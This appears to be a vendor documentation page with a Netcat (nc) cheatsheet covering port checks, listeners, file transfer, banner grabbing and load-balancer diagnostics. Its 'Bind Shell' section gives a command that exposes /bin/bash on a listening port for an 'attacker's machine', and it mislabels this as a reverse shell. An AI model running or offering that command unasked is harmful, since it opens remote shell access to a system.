nc (Netcat) Command Cheatsheet

View Categories

nc (Netcat) Command Cheatsheet

1 min read

The Linux nc (Netcat) Command #

The Linux nc (Netcat) command is a versatile networking utility used for network communication, debugging, and testing. It can act as a simple server or client, and supports reading and writing data over TCP or UDP. Dubbed the “Swiss Army Knife” of networking, nc is widely used for tasks like port scanning, file transfer, and testing network services.

Key Usage and Syntax of the nc Command #

The basic syntax of the nc command is:

nc [OPTIONS] [HOST] [PORT]

  • OPTIONS: Flags to control the behavior of nc.
  • HOST: The target host for the connection.
  • PORT: The target port number.

nc Command Cheatsheet Table #

Command Description
nc -zv example.com 80 Test if port 80 on example.com is open (verbose mode).
nc -l 1234 Start a listener on port 1234.
nc example.com 80 Connect to port 80 on example.com (e.g., to send HTTP requests).
nc -u example.com 1234 Send data to UDP port 1234 on example.com.
nc -l -p 8080 Start a server listening on port 8080.
echo "Hello" | nc example.com 1234 Send the message Hello to example.com on port 1234.

Common Use Cases #

1. Port Scanning #

nc -zv example.com 20-25

This command scans ports 20 to 25 on example.com and outputs their status.

2. Setting up a Simple Chat #

Set up a simple chat between two systems:

On the first system: #

nc -l -p 1234

On the second system: #

nc HOSTNAME 1234

Replace HOSTNAME with the first system’s IP address.

3. File Transfer #

Transfer files between two systems using nc:

Sender: #

cat file.txt | nc -q 0 HOSTNAME 1234

Receiver: #

nc -l -p 1234 > file.txt

4. Banner Grabbing #

Retrieve service information from a remote server:

nc example.com 80

Type HEAD / HTTP/1.0 and press Enter twice to view the HTTP headers.

Advanced Usage #

UDP Connectivity #

Test UDP connectivity to a target:

nc -u example.com 1234

This sends data to UDP port 1234 on example.com.

Bind Shell #

Create a simple reverse shell for debugging:

On the remote machine: #

nc -l -p 4444 -e /bin/bash

On the attacker’s machine: #

nc TARGET 4444

Using Netcat Securely #

For enhanced security, use the cryptographic version of nc (e.g., ncat with SSL).

Using nc with RELIANOID Solutions #

In RELIANOID’s networking infrastructure, nc can serve various diagnostic and operational purposes:

1. Test Load Balancer Connectivity #

nc -zv loadbalancer.realianoid.local 80

Verify that the load balancer is accepting traffic on port 80.

2. Monitor Backend Services #

Quickly check the status of backend servers:

nc -zv backend1.realianoid.local 8080

This checks if the backend service is reachable on port 8080.

3. Validate Proxy Server Forwarding #

Test whether the proxy server is correctly forwarding traffic:

nc proxy.realianoid.local 443

4. Debugging Custom Protocols #

Use nc to debug or simulate interactions with custom protocols in RELIANOID’s environment.

nc -l -p 5555

Set up a listener to test protocol messages.

Summary #

The nc (Netcat) command is an indispensable tool for network professionals. Its ability to scan ports, transfer files, and debug connectivity makes it ideal for versatile applications. Leveraging nc with RELIANOID infrastructure helps ensure robust network performance and quick problem resolution.

SHARE ON:

Powered by BetterDocs